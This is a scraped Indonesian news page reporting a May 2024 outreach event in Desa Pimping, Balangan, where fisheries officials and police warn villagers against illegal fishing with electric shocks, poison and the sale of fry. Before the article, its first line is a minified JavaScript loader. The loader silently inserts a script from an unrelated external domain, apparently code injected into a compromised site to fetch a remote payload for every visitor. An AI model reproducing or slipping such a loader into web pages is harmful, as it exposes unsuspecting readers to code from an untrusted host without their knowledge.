(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Balangan

DKP3 Balangan Sosialisasi Setop Illegal Fishing


KANALKALIMANTAN.COM, PARINGIN – Upaya menjaga habitat ikan dan ekosistem perairan sungai, Dinas Ketahanan Pangan Pertanian dan Perikanan (DKP3) Kabupaten Balangan melaksanakan sosialisasi illegal fishing di Desa Pimping, Kecamatan Lampihong, Kamis (16/5/2024).

Edukasi illegal fishing ini disambut antusias masyarakat Desa Pimping sebagai salah satu sentra perikanan di Kabupaten Balangan.

Kepala Bidang Perikanan Kabupaten Balangan, Marlina Susanti mengatakan, sosialisasi digelar untuk mengedukasi masyarakat Desa Pimping agar mengetahui kegiatan illegal fishing yang dilarang.

Mulai dari penggunaan alat setrum, racun, tuba hingga melakukan jual beli anak ikan itu dilarang. Diharapkan dengan pembinaan seperti ini dapat mengurangi bahkan menghentikan penangkapan ikan secara ilegal.

Baca juga: Curi Dua Motor di Komplek Sendiri, Lelaki Warga Cempaka Dibekuk Polisi di SPBU Simpang Empat

“Aktivitas seperti menggunakan alat setrum maupun bahan berbahaya lainnya dapat merugikan baik diri sendiri, orang lain dan khususnya ekosistem perikanan,” tegasnya.

Respon positif juga disampaikan Kepala Desa Pimping, Abdul Gani yang menyebut kegiatan ini sangat bermanfaat untuk masyarakat dalam mengetahui bentuk larangan dari illegal fishing tersebut.

“Dengan adanya sosialisasi ini masyarakat bisa mengenal hukum ataupun pelanggaran pada saat menangkap ikan,” ujarnya.

Mewakili Kapolsek Lampihong, Aipda Eddy Sopian, turut mengimbau kepada masyarakat untuk tidak melakukan illegal fishing karena dapat mengganggu ekosistem perairan.

Untuk itu, dalam memanfaatkan sumber perikanan masyarakat hendaknya menggunakan alat tangkap yang ramah lingkungan agar sumber ikan dapat tetap terjaga.

“Desa Pimping ini adalah daerah perairan tawar dengan ikan yang melimpah, jadi dikhawatirkan untuk masyarakat yang menggunakan alat setrum atau racun, akan mengganggu ekosistem dan keberlangsungan ikan itu sendiri,” ujarnya. (Kanalkalimantan.com/mcbalangan)

Reporter: mcbalangan
Editor: kk


Risa

Recent Posts

Pelantikan PAW Komisioner KPU Banjarbaru Tunggu KPU RI

KANALKALIMANTAN.COM, BANJARBARU - Proses Penggantian Antar Waktu (PAW) Komisioner KPU Banjarbaru masih berjalan, meski tahapan… Read More

5 jam ago

Talk Show HUT ke-8 RSD Idaman Seni Mengelola Konflik dalam Rumah Tangga

KANALKALIMANTAN.COM, BANJARBARU - Menyemarakan penandaan Haru Ulang Tahun (HUT), Rumah Sakit Daerah Idaman (RSDI) menggelar… Read More

7 jam ago

2.069 Pelajar SD se HSU Ikuti Khataman Al Qur’an

KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 2.069 pelajar Sekolah Dasar (SD) se Kabupaten Hulu Sungai Utara (HSU)… Read More

19 jam ago

Curi Mobil Nyamar Petugas Parkir Wisuda Kampus ULM, MSR Diringkus Polisi

KANALKALIMANTAN.COM, BANJARBARU - Dua unit mobil hilang saat terparkir di kampus Universitas Lambung Mangkurat (ULM)… Read More

19 jam ago

Nasib Tiga Proyek Dinas PUPR Kalsel Pasca OTT KPK

KANALKALIMANTAN.COM, BANJARBARU - Lebih sepekan sudah pasca Operasi Tangkap Tangan (OTT) Komisi Pemberantasan Korupsi (KPK)… Read More

20 jam ago

Kunjungi Karangintan, Masyarakat Inginkan Saidi Mansyur Terpilih Lagi

KANALKALIMANTAN.COM, MARTAPURA - Masyarakat Karangintan menyatakan dukungannya terhadap pasangan calon bupati dan wakil bupati Banjar… Read More

23 jam ago

This website uses cookies.